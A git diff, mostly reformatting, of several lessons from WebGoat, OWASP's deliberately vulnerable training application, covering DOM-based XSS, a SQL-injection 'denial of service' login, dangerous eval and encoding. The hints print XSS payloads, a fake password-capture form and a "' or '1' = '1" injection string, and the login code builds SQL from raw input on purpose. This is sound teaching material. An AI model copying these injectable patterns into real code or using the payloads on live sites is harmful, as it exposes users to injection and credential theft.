+ protected Element doStage2(WebSession s) throws Exception
+ {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
- if (attackString.toString().toLowerCase().indexOf("img") != -1 && attackString.toString().toLowerCase().indexOf("onerror") != -1 && attackString.toString().toLowerCase().indexOf("alert") != -1) {
+ if (attackString.toString().toLowerCase().indexOf("img") != -1
+ && attackString.toString().toLowerCase().indexOf("onerror") != -1
+ && attackString.toString().toLowerCase().indexOf("alert") != -1)
+ {
getLessonTracker(s).setStage(3);
s.setMessage("Stage 2 completed. ");
}
@@ -65,28 +78,34 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
- protected Element doStage3(WebSession s) throws Exception {
+ protected Element doStage3(WebSession s) throws Exception
+ {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
- if (attackString.toString().toLowerCase().indexOf("iframe") != -1 && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
+ if (attackString.toString().toLowerCase().indexOf("iframe") != -1
+ && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
+ {
getLessonTracker(s).setStage(4);
s.setMessage("Stage 3 completed.");
}
return (ec);
}
- protected Element doStage4(WebSession s) throws Exception {
+ protected Element doStage4(WebSession s) throws Exception
+ {
ElementContainer ec = new ElementContainer();
StringBuffer attackString = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
ec.addElement(mainContent(s));
- if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1&& attackString.toString().toLowerCase().indexOf("javascript:alert") != -1) {
+ if (attackString.toString().toLowerCase().indexOf("please enter your password:") != -1
+ && attackString.toString().toLowerCase().indexOf("javascript:alert") != -1)
+ {
getLessonTracker(s).setStage(5);
s.setMessage("Stage 4 completed.");
}
@@ -94,20 +113,21 @@ public class DOMXSS extends SequentialLessonAdapter {
return (ec);
}
- protected Element doStage5(WebSession s) throws Exception {
+ protected Element doStage5(WebSession s) throws Exception
+ {
ElementContainer ec = new ElementContainer();
ec.addElement(mainContent(s));
/**
* They pass iff:
- *
+ *
* 1. If the DOMXSS.js file contains the lines "escapeHTML(name)"
*/
String file = s.getWebResource("javascript/DOMXSS.js");
String content = getFileContent(file);
- if(content.indexOf("escapeHTML(name)") != -1)
+ if (content.indexOf("escapeHTML(name)") != -1)
{
makeSuccess(s);
}
@@ -115,11 +135,13 @@ public class DOMXSS extends SequentialLessonAdapter {
return ec;
}
- protected ElementContainer mainContent(WebSession s) {
+ protected ElementContainer mainContent(WebSession s)
+ {
StringBuffer attackString = null;
ElementContainer ec = new ElementContainer();
- try {
+ try
+ {
ec.addElement(new Script().setSrc("javascript/DOMXSS.js"));
@@ -139,7 +161,8 @@ public class DOMXSS extends SequentialLessonAdapter {
Element b = ECSFactory.makeButton("Submit Solution");
ec.addElement(b);
- } catch (Exception e) {
+ } catch (Exception e)
+ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
@@ -148,11 +171,12 @@ public class DOMXSS extends SequentialLessonAdapter {
}
/**
- * Gets the hints attribute of the HelloScreen object
- *
- * @return The hints value
+ * Gets the hints attribute of the HelloScreen object
+ *
+ * @return The hints value
*/
- public List getHints(WebSession s) {
+ public List getHints(WebSession s)
+ {
List hints = new ArrayList();
hints.add("Try entering the following: " + "<IMG SRC=\"images/logos/owasp.jpg\"/>");
@@ -161,106 +185,119 @@ public class DOMXSS extends SequentialLessonAdapter {
hints.add("Try entering the following: " + "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>");
- hints.add("Try entering the following: " + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " +
- "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>");
+ hints
+ .add("Try entering the following: "
+ + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button "
+ + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>");
+ // Attack Strings:
+ //
- //Attack Strings:
+ //
- //
-
- //
-
- //
-
- //Please enter your password:
+ //
+ // Please enter your password:
return hints;
}
/**
- * Gets the ranking attribute of the HelloScreen object
- *
- * @return The ranking value
+ * Gets the ranking attribute of the HelloScreen object
+ *
+ * @return The ranking value
*/
private final static Integer DEFAULT_RANKING = new Integer(10);
- protected Integer getDefaultRanking() {
+ protected Integer getDefaultRanking()
+ {
return DEFAULT_RANKING;
}
- protected Category getDefaultCategory() {
+ protected Category getDefaultCategory()
+ {
return Category.AJAX_SECURITY;
}
/**
- * Gets the title attribute of the HelloScreen object
- *
- * @return The title value
+ * Gets the title attribute of the HelloScreen object
+ *
+ * @return The title value
*/
- public String getTitle() {
+ public String getTitle()
+ {
return ("LAB: DOM-Based cross-site scripting");
}
- public String getInstructions(WebSession s) {
+ public String getInstructions(WebSession s)
+ {
String instructions = "";
- if (getLessonTracker(s).getStage() == 1) {
+ if (getLessonTracker(s).getStage() == 1)
+ {
instructions = "STAGE 1:\tFor this exercise, your mission is to deface this website using the image at the following location: OWASP IMAGE";
- } else if (getLessonTracker(s).getStage() == 2) {
+ }
+ else if (getLessonTracker(s).getStage() == 2)
+ {
instructions = "STAGE 2:\tNow, try to create a JavaScript alert using the image tag";
- } else if (getLessonTracker(s).getStage() == 3) {
+ }
+ else if (getLessonTracker(s).getStage() == 3)
+ {
instructions = "STAGE 3:\tNext, try to create a JavaScript alert using the IFRAME tag.";
- } else if (getLessonTracker(s).getStage() == 4) {
- instructions = "STAGE 4:\tUse the following to create a fake login form:
" + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button " +
- "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>";
- } else if(getLessonTracker(s).getStage() == 5) {
+ }
+ else if (getLessonTracker(s).getStage() == 4)
+ {
+ instructions = "STAGE 4:\tUse the following to create a fake login form:
"
+ + "Please enter your password:<BR><input type = \"password\" name=\"pass\"/><button "
+ + "onClick=\"javascript:alert('I have your password: ' + pass.value);\">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>";
+ }
+ else if (getLessonTracker(s).getStage() == 5)
+ {
instructions = "STAGE 5:\tPerform client-side HTML entity encoding to mitigate the DOM XSS vulnerability. A utility method is provided for you in WebContent/javascript/escape.js.";
}
return (instructions);
}
- private String getFileContent(String content)
- {
- BufferedReader is = null;
- StringBuffer sb = new StringBuffer();
+ private String getFileContent(String content)
+ {
+ BufferedReader is = null;
+ StringBuffer sb = new StringBuffer();
- try
- {
- is = new BufferedReader(new FileReader(new File(content)));
- String s = null;
+ try
+ {
+ is = new BufferedReader(new FileReader(new File(content)));
+ String s = null;
- while((s = is.readLine()) != null)
- {
- sb.append(s);
- }
- }
- catch (Exception e)
- {
- e.printStackTrace();
- }
- finally
- {
- if(is != null)
- {
- try
- {
- is.close();
- }
- catch (IOException ioe)
- {
+ while ((s = is.readLine()) != null)
+ {
+ sb.append(s);
+ }
+ } catch (Exception e)
+ {
+ e.printStackTrace();
+ } finally
+ {
+ if (is != null)
+ {
+ try
+ {
+ is.close();
+ } catch (IOException ioe)
+ {
- }
- }
- }
+ }
+ }
+ }
- return sb.toString();
- }
+ return sb.toString();
+ }
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java
index 678b6ab1f..74f963276 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DOS_Login.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.sql.Connection;
@@ -7,7 +8,6 @@ import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@@ -18,111 +18,108 @@ import org.apache.ecs.html.P;
import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
-
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.session.ParameterNotFoundException;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
+ *
* @author Bruce Mayhew WebGoat
* @created October 28, 2003
*/
public class DOS_Login extends LessonAdapter
{
- /**
- * Description of the Field
- */
- protected final static String PASSWORD = "Password";
+ /**
+ * Description of the Field
+ */
+ protected final static String PASSWORD = "Password";
- /**
- * Description of the Field
- */
- protected final static String USERNAME = "Username";
+ /**
+ * Description of the Field
+ */
+ protected final static String USERNAME = "Username";
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element createContent(WebSession s)
- {
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
-
+
try
{
- String username = "";
- String password = "";
- username = s.getParser().getRawParameter(USERNAME);
- password = s.getParser().getRawParameter(PASSWORD);
-
- // don;t allow user name from other lessons. it would be too simple.
- if (username.equals("jeff") || username.equals("dave"))
- {
+ String username = "";
+ String password = "";
+ username = s.getParser().getRawParameter(USERNAME);
+ password = s.getParser().getRawParameter(PASSWORD);
+
+ // don;t allow user name from other lessons. it would be too simple.
+ if (username.equals("jeff") || username.equals("dave"))
+ {
ec.addElement(new H2("Login Failed: 'jeff' and 'dave' are not valid for this lesson"));
return (ec.addElement(makeLogin(s)));
- }
-
- // Check if the login is valid
- Connection connection = DatabaseUtilities.getConnection(s);
-
- String query = "SELECT * FROM user_system_data WHERE user_name = '"
- + username + "' and password = '" + password + "'";
- ec.addElement(new StringElement(query));
-
- try
- {
- Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
+ }
+
+ // Check if the login is valid
+ Connection connection = DatabaseUtilities.getConnection(s);
+
+ String query = "SELECT * FROM user_system_data WHERE user_name = '" + username + "' and password = '"
+ + password + "'";
+ ec.addElement(new StringElement(query));
+
+ try
+ {
+ Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
+ ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
-
+
if ((results != null) && (results.first() == true))
{
- ResultSetMetaData resultsMetaData = results.getMetaData();
- ec.addElement(DatabaseUtilities.writeTable(results,resultsMetaData));
- results.last();
-
- // If they get back more than one user they succeeded
- if (results.getRow() >= 1)
- {
+ ResultSetMetaData resultsMetaData = results.getMetaData();
+ ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
+ results.last();
+
+ // If they get back more than one user they succeeded
+ if (results.getRow() >= 1)
+ {
// Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password))
{
- String insertData1 = "INSERT INTO user_login VALUES ( '"
- + username
- + "', '"
- + s.getUserName()
- + "' )";
- statement.executeUpdate(insertData1);
+ String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '"
+ + s.getUserName() + "' )";
+ statement.executeUpdate(insertData1);
}
// check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
@@ -131,134 +128,125 @@ public class DOS_Login extends LessonAdapter
// If they get back more than one user they succeeded
if (results.getRow() >= 3)
{
- makeSuccess(s);
- String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'";
- statement.executeUpdate(deleteData1);
- return (new H1("Congratulations! Lesson Completed"));
+ makeSuccess(s);
+ String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName()
+ + "'";
+ statement.executeUpdate(deleteData1);
+ return (new H1("Congratulations! Lesson Completed"));
}
-
+
ec.addElement(new H2("Login Succeeded: Total login count: " + results.getRow()));
- }
+ }
}
else
{
- ec.addElement(new H2("Login Failed"));
- // check the total count of logins
- query = "SELECT * FROM user_login WHERE webgoat_user = '"
- + s.getUserName() + "'";
- results = statement.executeQuery(query);
- results.last();
- ec.addElement(new H2("Successfull login count: "
- + results.getRow()));
-
+ ec.addElement(new H2("Login Failed"));
+ // check the total count of logins
+ query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
+ results = statement.executeQuery(query);
+ results.last();
+ ec.addElement(new H2("Successfull login count: " + results.getRow()));
+
}
- }
- catch (SQLException sqle)
- {
+ } catch (SQLException sqle)
+ {
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
- }
- }
- catch (ParameterNotFoundException pnfe)
+ }
+ } catch (ParameterNotFoundException pnfe)
{
/**
- * Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login"
- * message from being displayed on first load. Note that if we are missing a parameter in
- * the request, we do not want to continue processing and we simply want to display the
- * default login page.
+ * Catching this exception prevents the "Error generating
+ * org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note
+ * that if we are missing a parameter in the request, we do not want to continue
+ * processing and we simply want to display the default login page.
*/
- }
- catch (Exception e)
+ } catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
-
+
return (ec.addElement(makeLogin(s)));
- }
-
-
- /**
- * Gets the category attribute of the WeakAuthenticationCookie object
- *
- * @return The category value
- */
- protected Category getDefaultCategory()
- {
- return Category.DOS;
- }
-
-
- /**
- * Gets the hints attribute of the CookieScreen object
- *
- * @return The hints value
- */
- protected List getHints(WebSession s)
- {
- List hints = new ArrayList();
- hints.add("Use a SQL Injection to obtain the user names. ");
- hints
- .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
- hints
- .add("Try "dont_care' or '1' = '1" in the password field");
- return hints;
- }
-
- private final static Integer DEFAULT_RANKING = new Integer(90);
-
-
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
-
-
- /**
- * Gets the title attribute of the CookieScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return ("Denial of Service from Multiple Logins");
- }
-
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
- protected Element makeLogin(WebSession s)
- {
- ElementContainer ec = new ElementContainer();
-
- // add the login fields
- Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
-
- if (s.isColor())
- {
- t.setBorder(1);
}
- TR row1 = new TR();
- TR row2 = new TR();
- row1.addElement(new TD(new StringElement("User Name: ")));
- row2.addElement(new TD(new StringElement("Password: ")));
+ /**
+ * Gets the category attribute of the WeakAuthenticationCookie object
+ *
+ * @return The category value
+ */
+ protected Category getDefaultCategory()
+ {
+ return Category.DOS;
+ }
- Input input1 = new Input(Input.TEXT, USERNAME, "");
- Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
- row1.addElement(new TD(input1));
- row2.addElement(new TD(input2));
- t.addElement(row1);
- t.addElement(row2);
+ /**
+ * Gets the hints attribute of the CookieScreen object
+ *
+ * @return The hints value
+ */
+ protected List getHints(WebSession s)
+ {
+ List hints = new ArrayList();
+ hints.add("Use a SQL Injection to obtain the user names. ");
+ hints
+ .add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
+ hints.add("Try "dont_care' or '1' = '1" in the password field");
+ return hints;
+ }
- Element b = ECSFactory.makeButton("Login");
- t.addElement(new TR(new TD(b)));
- ec.addElement(t);
+ private final static Integer DEFAULT_RANKING = new Integer(90);
- return (ec);
- }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+
+ /**
+ * Gets the title attribute of the CookieScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return ("Denial of Service from Multiple Logins");
+ }
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+ protected Element makeLogin(WebSession s)
+ {
+ ElementContainer ec = new ElementContainer();
+
+ // add the login fields
+ Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0);
+
+ if (s.isColor())
+ {
+ t.setBorder(1);
+ }
+
+ TR row1 = new TR();
+ TR row2 = new TR();
+ row1.addElement(new TD(new StringElement("User Name: ")));
+ row2.addElement(new TD(new StringElement("Password: ")));
+
+ Input input1 = new Input(Input.TEXT, USERNAME, "");
+ Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
+ row1.addElement(new TD(input1));
+ row2.addElement(new TD(input2));
+ t.addElement(row1);
+ t.addElement(row2);
+
+ Element b = ECSFactory.makeButton("Login");
+ t.addElement(new TR(new TD(b)));
+ ec.addElement(t);
+
+ return (ec);
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java
index 794171bee..0a7f3cd7b 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/DangerousEval.java
@@ -1,9 +1,9 @@
+
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -20,261 +20,275 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
-/*******************************************************************************
+
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Eric Sheridan, Aspect Security
- * @created October 28, 2003
+ *
+ * @author Eric Sheridan, Aspect Security
+ * @created October 28, 2003
*/
public class DangerousEval extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
- public final static String PASSED = "__DANGEROUS_EVAL_PASS";
-
- /**
- * Description of the Method
- *
- * @param s Description of the Parameter
- * @return Description of the Return Value
- */
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
- protected Element createContent(WebSession s)
- {
+ public final static String PASSED = "__DANGEROUS_EVAL_PASS";
+
+ /**
+ * Description of the Method
+ *
+ * @param s
+ * Description of the Parameter
+ * @return Description of the Return Value
+ */
+
+ protected Element createContent(WebSession s)
+ {
ElementContainer ec = new ElementContainer();
String regex1 = "^[0-9]{3}$";// any three digits
Pattern pattern1 = Pattern.compile(regex1);
-
+
try
{
checkSuccess(s);
-
+
String param1 = s.getParser().getRawParameter("field1", "111");
- //String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
- float quantity = 1.0f;
- float total = 0.0f;
- float runningTotal = 0.0f;
-
- // FIXME: encode output of field2, then s.setMessage( field2 );
- ec.addElement("
- /**
- * Gets the instructions attribute of the WeakAccessControl object
- *
- * @return The instructions value
- */
- public String getInstructions(WebSession s)
- {
+ //
+ /**
+ * Gets the instructions attribute of the WeakAccessControl object
+ *
+ * @return The instructions value
+ */
+ public String getInstructions(WebSession s)
+ {
String instructions = "For this exercise, your mission is to come up with some input containing a script. You have to try to get this page to reflect that input back to your browser, which will execute the script. In order to pass this lesson, you must 'alert()' document.cookie.";
return (instructions);
- }
+ }
- private final static Integer DEFAULT_RANKING = new Integer(120);
+ private final static Integer DEFAULT_RANKING = new Integer(120);
- protected Integer getDefaultRanking()
- {
- return DEFAULT_RANKING;
- }
+ protected Integer getDefaultRanking()
+ {
+ return DEFAULT_RANKING;
+ }
+ /**
+ * Gets the title attribute of the AccessControlScreen object
+ *
+ * @return The title value
+ */
+ public String getTitle()
+ {
+ return "Dangerous Use of Eval";
+ }
- /**
- * Gets the title attribute of the AccessControlScreen object
- *
- * @return The title value
- */
- public String getTitle()
- {
- return "Dangerous Use of Eval";
- }
-
- public Element getCredits()
- {
- return super.getCustomCredits("", ASPECT_LOGO);
- }
-
- /**
- * Check to see if JSP says they passed the lesson.
- * @param s
- */
- private void checkSuccess(WebSession s)
- {
- javax.servlet.http.HttpSession session = s.getRequest().getSession();
-
- if(session.getAttribute(PASSED) != null)
+ public Element getCredits()
+ {
+ return super.getCustomCredits("", ASPECT_LOGO);
+ }
+
+ /**
+ * Check to see if JSP says they passed the lesson.
+ *
+ * @param s
+ */
+ private void checkSuccess(WebSession s)
+ {
+ javax.servlet.http.HttpSession session = s.getRequest().getSession();
+
+ if (session.getAttribute(PASSED) != null)
{
makeSuccess(s);
-
+
session.removeAttribute(PASSED);
}
- }
+ }
}
diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java b/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java
index 8b9d98411..887dfa0eb 100644
--- a/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java
+++ b/main/project/JavaSource/org/owasp/webgoat/lessons/Encoding.java
@@ -1,3 +1,4 @@
+
package org.owasp.webgoat.lessons;
import java.io.IOException;
@@ -12,12 +13,10 @@ import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.List;
-
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.SecretKeyFactory;
import javax.crypto.spec.PBEParameterSpec;
-
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@@ -33,43 +32,44 @@ import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
-/*******************************************************************************
+/***************************************************************************************************
*
*
- * This file is part of WebGoat, an Open Web Application Security Project
- * utility. For details, please see http://www.owasp.org/
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
- * This program is free software; you can redistribute it and/or modify it under
- * the terms of the GNU General Public License as published by the Free Software
- * Foundation; either version 2 of the License, or (at your option) any later
- * version.
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
*
- * This program is distributed in the hope that it will be useful, but WITHOUT
- * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
- * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
- * details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
*
- * You should have received a copy of the GNU General Public License along with
- * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
- * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
*
* Getting Source ==============
*
- * Source for this application is maintained at code.google.com, a repository
- * for free software projects.
+ * Source for this application is maintained at code.google.com, a repository for free software
+ * projects.
*
* For details, please see http://code.google.com/p/webgoat/
- *
- * @author Jeff Williams Aspect Security
- * @created October 28, 2003
+ *
+ * @author Jeff Williams Aspect Security
+ * @created October 28, 2003
*/
public class Encoding extends LessonAdapter
{
- public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
-
+ public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
+ .addElement(
+ new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
+ .setVspace(0));
+
private final static String INPUT = "input";
private final static String KEY = "key";
@@ -82,103 +82,96 @@ public class Encoding extends LessonAdapter
// encryption constant
- private static byte[] salt =
- {
- (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
- (byte) 0x00
- };
-
-
+ private static byte[] salt = { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00 };
/**
- * Returns the base 64 decoding of a string.
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
- * @exception IOException Description of the Exception
+ * Returns the base 64 decoding of a string.
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
+ * @exception IOException
+ * Description of the Exception
*/
- public static String base64Decode( String str ) throws IOException
+ public static String base64Decode(String str) throws IOException
{
- byte[] b = decoder.decodeBuffer( str );
+ byte[] b = decoder.decodeBuffer(str);
- return ( new String( b ) );
+ return (new String(b));
}
-
-
/**
- * Description of the Method
- *
- * @param c Description of the Parameter
- * @return Description of the Return Value
- * @exception IOException Description of the Exception
+ * Description of the Method
+ *
+ * @param c
+ * Description of the Parameter
+ * @return Description of the Return Value
+ * @exception IOException
+ * Description of the Exception
*/
- public static String base64Decode( char[] c ) throws IOException
+ public static String base64Decode(char[] c) throws IOException
{
- return base64Decode( new String( c ) );
+ return base64Decode(new String(c));
}
-
-
/**
- * Description of the Method
- *
- * @param c Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param c
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String base64Encode( char[] c )
+ public static String base64Encode(char[] c)
{
- return base64Encode( new String( c ) );
+ return base64Encode(new String(c));
}
-
-
/**
- * Returns the base 64 encoding of a string.
- *
- * @param str Description of the Parameter
- * @return Description of the Return Value
+ * Returns the base 64 encoding of a string.
+ *
+ * @param str
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String base64Encode( String str )
+ public static String base64Encode(String str)
{
byte[] b = str.getBytes();
- return ( encoder.encode( b ) );
+ return (encoder.encode(b));
}
-
-
/**
- * Description of the Method
- *
- * @param b Description of the Parameter
- * @return Description of the Return Value
+ * Description of the Method
+ *
+ * @param b
+ * Description of the Parameter
+ * @return Description of the Return Value
*/
- public static String base64Encode( byte[] b )
+ public static String base64Encode(byte[] b)
{
- return ( encoder.encode( b ) );
+ return (encoder.encode(b));
}
-
-
/**
- * Description of the Method
- *
- * @param s Description of the Parameter
